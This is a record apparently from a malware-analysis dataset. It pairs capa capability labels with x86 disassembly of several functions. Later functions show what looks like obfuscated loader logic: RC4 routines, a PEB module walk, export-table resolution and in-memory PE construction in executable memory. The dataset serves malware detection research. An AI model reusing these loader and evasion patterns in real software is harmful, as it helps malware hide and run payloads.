joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434640
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x481bd8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x434679
inc eax
mov dword [esi + 0x10], eax
jmp 0x43478c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43468d
mov eax, 0xffffffc7
jmp 0x43478e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43469e
cmp dword [esi + 8], eax
jne 0x43468d
cmp dword [esi + 8], eax
jne 0x4346b7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x4346b7
mov eax, 0xffffffc7
jmp 0x43478e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x4346cb
push eax
mov ecx, ebx
call fcn.00433e70
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00403350
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4346fc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00403370
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004335e0
test eax, eax
mov dword [esp + 0x38], eax
je 0x43472f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48b080
call fcn.00403550
mov eax, dword [esp + 0x38]
jmp 0x43478e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004344a0
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x434773
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004344c0
mov esi, eax
test esi, esi
jne 0x4347a3
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004344a0
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x434745
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48b080
call fcn.00403550
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x48b080
call fcn.00403550
mov eax, esi
jmp 0x43478e

Function at 0x4391b0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x439210
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x439210
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x439210
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x439210
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x439250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x444d90
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4824c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0047ad50
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.004446f0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0047ac7e
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.0047753f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.0047753f
push 1
push 0
push 0
mov ecx, esi
call fcn.004774e7
push 1
push 0
push 1
mov ecx, esi
call fcn.004774e7
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047adc2
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x444f10
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4824e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0047ad50
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.004446f0
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0047ac7e
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x444fd4
cmp dword [esp + 0x40], 1
jne 0x444fd2
cmp ecx, eax
jge 0x444fd4
mov eax, ecx
cmp eax, 0xc8
jge 0x444fe0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00444d90
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0047adc2
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4457d0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x482593
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0047595f
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047aff8
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0047c514
test eax, eax
je 0x4458ec
mov ecx, dword [esp + 0x3c]
call fcn.0047b025
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4458b0
push edi
mov ecx, esi
call fcn.0047868a
mov ecx, esi
call fcn.00445a90
cmp dword [esp + 0x38], 1
jne 0x4458e5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004787c5
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x447ad0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x447b03
push esi
call fcn.00455e90
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x447afc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x447b89
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x447b72
mov eax, dword [esi + 8]
test eax, eax
je 0x447b27
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x447b6e
cmp eax, 2
je 0x447b72
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x447b1a
cmp eax, 3
je 0x447b4d
cmp eax, 1
jne 0x447b1a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x447b1a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x447b1a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00447bb0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x447b98
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00447bb0
add esp, 4
pop esi
ret

Function at 0x448430
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x448451
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x448451
mov eax, dword [eax + 0x44]
test eax, eax
je 0x448451
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x476755
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47678d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047480c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004747e4
jmp 0x476799
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x477e47
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x477e89
call fcn.0047d904
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x477e89
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x477e80
xor eax, eax
jmp 0x477e91
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00477e97
pop edi
pop esi
pop ebx
ret 4
Function at 0x47de34
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47de62
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47de80
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047dd9a
jmp 0x47de80
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47de80
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047dd9a
test edi, edi
mov eax, edi
jne 0x47de6a
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10234277
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1029f294], 0
mov dword [0x1029f298], 0
mov dword [0x1029f2a4], 0
mov ebx, dword [0x1029f290]
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
jne 0x10234301
mov eax, dword [ebp - 0x28]
add eax, 0xfffff276
mov dword [0x1029f28c], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1029f294]
mov ecx, dword [0x1029f298]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x1092
mov edi, 0x100
mov ebx, ecx
add ebx, 1
add edx, 1
mov dword [ebp - 0x34], eax
mov eax, edx
cdq
idiv edi
mov dword [0x1029f294], edx
mov dword [0x1029f28c], 0x3f3
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx + edx]
mov dword [ebp - 0x3c], edx
mov edx, dword [ebp - 0x34]
add ecx, edx
mov eax, ecx
cdq
idiv edi
mov dword [0x1029f298], edx
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x3c]
mov cl, byte [ecx + edi]
mov byte [0x1029f29c], cl
mov ecx, dword [ebp - 0x24]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x24]
mov byte [edx + edi], cl
mov dword [0x1029f290], 0x211d
mov dword [0x1029f28c], 0x9ec
mov cl, byte [0x1029f29c]
mov edx, dword [0x1029f298]
mov edi, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov edx, dword [0x1029f28c]
add edx, 0x22c6
mov dword [0x1029f28c], edx
mov edx, dword [0x1029f294]
movzx edx, byte [edi + edx]
mov ecx, dword [0x1029f298]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1029f2a4], ecx
mov dword [0x1029f28c], 0x617
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x38]
mov ch, byte [edx + edi]
mov dl, cl
add dl, byte [0x1029f2a9]
mov byte [0x1029f2a8], dl
mov byte [0x1029f2a9], ch
mov byte [0x1029f2aa], cl
xor ch, cl
mov dword [0x1029f28c], 0x2b7d
mov edx, dword [ebp - 0x20]
mov byte [edx + edi], ch
mov dword [0x1029f290], 0x1092
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x28], esi
je 0x102342d5
jmp 0x102342ea
Function at 0x10234685
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1029f298], 0
mov byte [0x1029f29c], 0
mov dword [0x1029f28c], 0xb0c
mov dword [0x1029f294], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x102346de
mov dword [0x1029f28c], 0x15d3
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1029f28c]
add eax, 0x18f
mov dword [0x1029f28c], eax
mov eax, dword [0x1029f294]
add eax, 1
mov dword [0x1029f294], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x102346de
xor eax, eax
mov dword [0x1029f294], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1029f2a0], 0
mov dword [0x1029f28c], 0x527
mov edx, dword [0x1029f298]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1029f2a0], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1029f298], edx
mov dword [0x1029f290], 0x70d
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1029f29c], cl
mov dword [0x1029f290], 0xfffff318
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1029f29c]
mov edx, dword [0x1029f298]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1029f28c], 0x2321
mov edx, dword [0x1029f294]
add edx, 1
mov dword [0x1029f294], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10234722
jmp 0x102346cc
Function at 0x10234df8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [0x1029f290], 0xe76
mov dword [0x1029f28c], 0x971
mov dword [ebp - 0x10], eax
call fcn.10234062
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x1029f28c], 0x24fb
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1029f290], 0x20e
mov ebx, dword [eax + esi + 0x24]
mov dword [0x1029f28c], 0x219c
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ecx
je 0x10234f64
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x24]
mov edi, dword [esi + ecx*4]
mov dword [0x1029f28c], 0xa3a
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x10234efa
mov al, byte [ebp - 0x45]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x44]
add edx, 1
mov ah, byte [ebp - 0x46]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x40], edx
jne 0x10234ea8
mov al, byte [ebp - 0x46]
test al, 1
jne 0x10234f37
jmp 0x10234f03
mov dword [0x1029f28c], 0x1968
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov edx, dword [ebp - 0x38]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
jb 0x10234e84
jmp 0x10234f64
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov dword [0x1029f290], 0xd2b
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x1029f28c], 0x1d0e
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10235159
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [0x1029f28c], 0x19ac
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x102351c6
mov eax, dword [0x1029f290]
mov dword [ebp - 0x14], eax
mov eax, 1
mov ecx, dword [ebp - 0x14]
add ecx, 0xffffe06e
mov dword [0x1029f290], ecx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x10235291
jmp 0x1023528a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
je 0x102351fd
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [0x1029f28c], 0x270c
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], eax
jl 0x102351c6
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x1023528a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1023528a
mov dword [0x1029f28c], 0x534
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1023528a
mov dword [0x1029f28c], 0x2097
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1023528a
mov dword [0x1029f28c], 0x1c6d
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1023528a
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff8
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
cmp word [eax], 0x6c
je 0x1023518f
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10235291
mov eax, dword [ebp - 0x1c]
add esp, 0x28
pop ebp
ret
Function at 0x102354a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [0x1029f28c], 0x44c
mov dword [0x1029f290], 0x712
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x102378e4]
mov dl, byte [eax + 0x102378b5]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x102354cb
lea eax, [ebp - 0x20]
mov dword [0x1029f28c], 0x12fb
mov dword [0x1029f290], 0xfffffab0
mov dword [ebp - 0x30], eax
call fcn.10234f6f
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.102355ee
xor ecx, ecx
mov dword [0x1029f28c], 0x1a5b
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x102355e6
mov eax, dword [ebp - 0x34]
mov dword [0x1029f28c], 0x2675
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1023484e
xor eax, eax
mov dword [0x1029f290], 0x849
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0xc], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x48], ecx
mov dword [0x1029f28c], 0x1c19
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x102355e6
mov eax, dword [ebp - 0x3c]
add eax, 0x10b6
mov dword [0x1029f290], 0x1901
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
jmp 0x102355e6
mov eax, dword [ebp - 0x38]
add esp, 0x50
pop ebp
ret
Function at 0x1023579b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
call fcn.1023442e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x34], ecx
jne 0x1023595b
lea eax, [esp + 0x38]
lea ecx, [esp + 0x48]
mov dword [0x1029f28c], 0x1b93
mov dword [esp], eax
mov dword [esp + 0x30], ecx
call fcn.10234a17
mov dword [esp + 0x2c], eax
call fcn.10235159
mov dword [esp + 0x28], eax
xor eax, eax
mov ecx, dword [esp + 0x28]
cmp ecx, 0
mov dword [esp + 0x24], eax
je 0x10235830
mov eax, dword [esp + 0x24]
mov dword [esp + 0x34], eax
jmp 0x1023595b
mov eax, dword [esp + 0x20]
add eax, 0x843
mov ecx, dword [esp + 0x1c]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [0x1029f290], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
jmp 0x102358a2
lea eax, [0x10234211]
mov ecx, 0x15a0
mov edx, dword [esp + 0x38]
mov dword [esp + 0x70], edx
mov dword [esp + 0x6c], 0x132000
mov edx, dword [0x1029f278]
mov dword [esp + 0x50], edx
mov edx, dword [0x1029f27c]
mov dword [esp + 0x88], edx
mov edx, dword [0x1029f280]
mov dword [esp + 0x94], edx
mov edx, dword [0x1029f284]
mov dword [esp + 0x58], edx
mov edx, dword [0x1029f288]
mov dword [esp + 0x84], edx
mov dword [0x1029f290], 0x15a0
mov dword [0x1029f28c], 0xe27
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp word [ecx], 0x5a4d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jne 0x10235808
mov eax, dword [esp + 0x1c]
add eax, 0x3c
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [esp + 0x1c]
cmp dword [edx + ecx], 0x4550
mov dword [esp + 0xc], ecx
jne 0x10235808
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x8c], ecx
mov dword [0x1029f28c], 0x24fb
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x48], esi
mov dword [0x1029f290], 0x791
mov esi, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.102354a0
mov ecx, dword [0x1029f28c]
add ecx, 0x958
mov dword [0x1029f28c], ecx
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
